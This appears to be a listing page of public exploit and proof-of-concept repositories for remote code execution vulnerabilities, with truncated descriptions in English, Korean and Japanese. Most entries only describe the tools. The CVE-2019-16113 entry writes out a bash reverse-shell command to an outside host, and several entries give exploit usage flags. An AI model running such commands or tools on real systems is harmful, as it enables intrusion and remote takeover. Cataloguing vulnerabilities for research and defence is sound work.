CVE-2024-24919

Check Point Security Gateway RCE Exploit Tool CVE-2024-24919 Overview This repository contains a tool for exploiting the CVE-2024-24919 vulnerability in Check Point Security Gateways. The tool is a multi-scanner that can identify vulnerable devices and a single-target exploit that can take full...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 exploit and writeup. Details CVE-2022-29464 is critical vulnerability on WSO2 discovered by Orange Tsai. the vulnerability is an unauthenticated unrestricted arbitrary file upload which allows unauthenticated attackers to gain RCE on WSO2 servers via uploadi...

CVE-2025-24893-PoC

Disclaimer: The vulnerabilities and reproduction steps described in this document are intended solely for cybersecurity research and educational purposes. No one shall use the information provided in this document for illegal purposes or unauthorized system testing. The author assumes no...

GPON_RCE

GPONRCE Exploit for Remote Code Execution on GPON home routers CVE-2018-10562 written in Python...

CVE-2020-24597

HK 제작 CVE-2020-24597: commedia의 디렉터리 트래버설을 통한 RCE 참고: Joomla core 3.9.21이 잘못 수정되었기 때문에 이 버그는 제대로 패치되지 않았습니다. 저는 이 패치를 쉽게 우회할 수 있습니다. 이 버그가 완전히 패치될 때까지 이 내용을 비밀로 유지하고 싶습니다. 링크 https://developer.joomla.org/security-centre/827-20200803-core-directory-traversal-in-com-media.html PoC 전체 영향을 받는 버전:...

Log4J-CVE-2021-44228-RCE

Log4J CVE-2021-44228 Exploit with Command Execution Interactive exploit, just run: ./exploit.sh...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access and Identity Manager RCE via SSTI. CVE-2022-22954 - PoC SSTI Usage: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manual -i IP,...

exploit-CVE-2020-5844

Exploit for CVE-2020-5844 Pandora FMS v7.0NG.742 - Remote Code Execution Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description...

CVE-2019-0708

CVE-2019-0708 일괄 탐지 0x01 서문 CVE-2019-0708 Windows RDP 원격 명령 실행 취약점 Windows 계열 서버에서 2019년 5월 15일 고위험 취약점이 발견되었습니다. 이 취약점은 영향 범위가 넓어 windows2003, windows2008, windows2008 R2, windows xp 시스템이 모두 공격을 받을 수 있습니다. 이 서버 취약점은 원격 데스크톱 포트 3389, RDP 프로토콜을 통해 공격하는 방식입니다. CVE-2019-0708 취약점은 사용자 인증 검사를 우회할 수 있게...

CVE-2026-22444

CVE-2026-22444 Apache Solr UNCパス検証の脆弱性 概要 この脆弱性は2025年に発見され、Apacheに開示されました。Apache Solrのコア作成機能に影響を及ぼし、パス検証チェックが実行される前にUNCパスへのネットワークアクセスが発生します。 スタンドアロンモードで動作するWindowsシステムでは、認証が有効でない場合やユーザーがコアを作成する権限を持っている場合に、RCEが発生します。 開示 この脆弱性はApacheに報告され、oss-securityメーリングリストで公開されました： 公式アドバイザリ：...

CVE-2026-20841-PoC

CVE-2026-20841 - Windows メモ帳アプリのリモートコード実行の脆弱性 脆弱性の概要 フィールド| 詳細 ---|--- CVE ID| CVE-2026-20841 タイトル| Windows メモ帳アプリのリモートコード実行の脆弱性 影響| リモートコード実行 最大深刻度| Important CVSS v3.1 Base / Temporal| 8.8 / 7.7 CVSS ベクター| CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C CWE| CWE-77:...

cve-2026-33937

CVE-2026-33937 - Handlebars RCE エクスプロイト PoC 説明 CVE-2026-33937 は、Handlebars における Abstract Syntax Tree（AST）入力の安全でない処理に起因する、重大なリモートコード実行（RCE）脆弱性です。 この脆弱性により、攻撃者は Handlebars.compile に細工された AST オブジェクトを渡すことで、任意の JavaScript コードを注入できます。 根本原因 Handlebars.compile は以下の両方を受け入れます： テンプレート文字列 事前解析済みの AST オブジェクト...

Ashwesker-CVE-2026-20045

🚨 CVE-2026-20045 — ゼロデイ詳細解説 🚨 🧨 概要 複数の Cisco Unified Communications 製品に影響を与える 重大なリモートコード実行（RCE） 脆弱性です。パッチが公開される前に、実際の攻撃で悪用が確認されていました。 🔥 危険性 🚫 認証不要 🖥️ リモートコード実行 👑 ルート権限取得の可能性 🌍 実環境での悪用が確認済み つまり、攻撃者は影響を受けるシステムをリモートから完全に乗っ取ることが可能です。 🚨 CVE-2026-20045.py の使用例 PoCスクリプトの実行方法について、使用例 を含む洗練されたガイドです。脆弱なCisc...

CVE-2026-26720-Twenty-RCE

Twenty CRM - 認証済みリモートコード実行（RCE） 概要 製品: Twenty CRM 脆弱性: サーバーレスワークフロー関数を介したリモートコード実行（RCE） 深刻度: 重大 影響を受けるコンポーネント: ワークフロー自動化（コード - サーバーレス関数） テスト済みバージョン: v1.15.0 このリポジトリは、Twenty CRM ワークフローエンジンにおける重大な脆弱性を文書化したものです。「コード - サーバーレス関数」コンポーネントは、認証済みユーザーが任意の Node.js...

eximrce-CVE-2019-10149

eximrce Simple python socket connection to test if exim is vulnerable to CVE-2019-10149. The payload simply touch a file in /root/lweximtest. Output will be slow depending on server's reply and not knowing how to properly use python's socket module. Would love a lesson on how to speed it up. Only...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...

0vercl0k

0vercl0k CVE-2021-28476 の PoC — vmswitch.sys におけるゲストからホストへの「Hyper-V リモートコード実行の脆弱性」...

proftpd-CVE-2026-42167-analysis

CVE-2026-42167 — ProFTPD modsql SQLインジェクション / 認証バイパス / RCE 独立した再現、コードレベルの根本原因のウォークスルー、そして CVE-2026-42167 に関する率直な曝露分析 — ZeroPath Research が開示し、 ProFTPD 1.3.9a / 1.3.10rc1 で修正された ProFTPD の modsql ロギングパイプラインにおける isescapedtext バイパス。 2026-04-29 に macOS / Apple Silicon 上の Docker でエンドツーエンドで構築・検証済み。 TL;D...

CVE-2026-3844

CVE-2026-3844 — Breeze Cache = 2.4.4 認証なし任意ファイルアップロードによるRCE 概要 フィールド| 値 ---|--- CVE| CVE-2026-3844 CVSS| 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-434 — 危険なタイプのファイルの無制限アップロード プラグイン| Breeze Cache by Cloudways 影響を受けるバージョン| 2.4.4 以下の全バージョン 修正バージョン| 2.4.5 changeset 3511463...

CVE-2026-36340

CVE-2026-36340 Krayin CRM v2.1.5におけるリモートコード実行（RCE）の脆弱性 Krayin CRM v2.1.5におけるリモートコード実行（RCE）の脆弱性 CVE: CVE-2026-36340 深刻度: 重大（Critical） 影響を受ける製品: Krayin CRM v2.1.5 脆弱性の種類: リモートコード実行（RCE） 認証の必要性: あり 概要 Krayin CRM v2.1.5 には、重大なリモートコード実行（RCE）の脆弱性が存在します。...